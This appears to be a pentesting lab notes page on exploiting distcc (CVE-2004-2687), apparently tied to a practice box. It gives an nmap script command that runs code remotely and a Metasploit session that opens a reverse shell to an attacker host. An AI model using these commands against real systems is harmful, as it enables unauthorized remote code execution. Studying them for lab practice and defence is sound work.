> For the complete documentation index, see [llms.txt](https://x7331.gitbook.io/boxes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://x7331.gitbook.io/boxes/services/tcp/distcc-3632.md).

# 3632 - DISTCC

## Information

[`distcc`](https://www.distcc.org/) is a distributed compilation tool that allows code to be compiled across multiple machines in a network with the goal of significantly reducing compilation time via workload distribution.

## Exploitation

Based on [CVE-2004-2687](https://nvd.nist.gov/vuln/detail/CVE-2004-2687).

{% tabs %}
{% tab title="Nmap" %}
{% code overflow="wrap" %}

```bash
sudo nmap -p3632 10.10.10.3 --script=distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"
```

{% endcode %}
{% endtab %}

{% tab title="MSF" %}

```bash
# Launching metasploit console
msfconsole -q
# Selecting the module
msf6 > use exploit/unix/misc/distcc_exec
[*] No payload configured, defaulting to cmd/unix/reverse_bash
# Checking configuration options
msf6 exploit(unix/misc/distcc_exec) > show options
# Configuring the required variables
msf6 exploit(unix/misc/distcc_exec) > set payload /cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(unix/misc/distcc_exec) > set RHOSTS 10.10.10.3
RHOSTS => 10.10.10.3
msf6 exploit(unix/misc/distcc_exec) > set LHOST tun0
LHOST => 10.10.14.22
# Executing the exploit
msf6 exploit(unix/misc/distcc_exec) > run
```

{% endtab %}
{% endtabs %}

For an example of exploiting `distcc` see [Lame](/boxes/boxes/easy/lame.md).
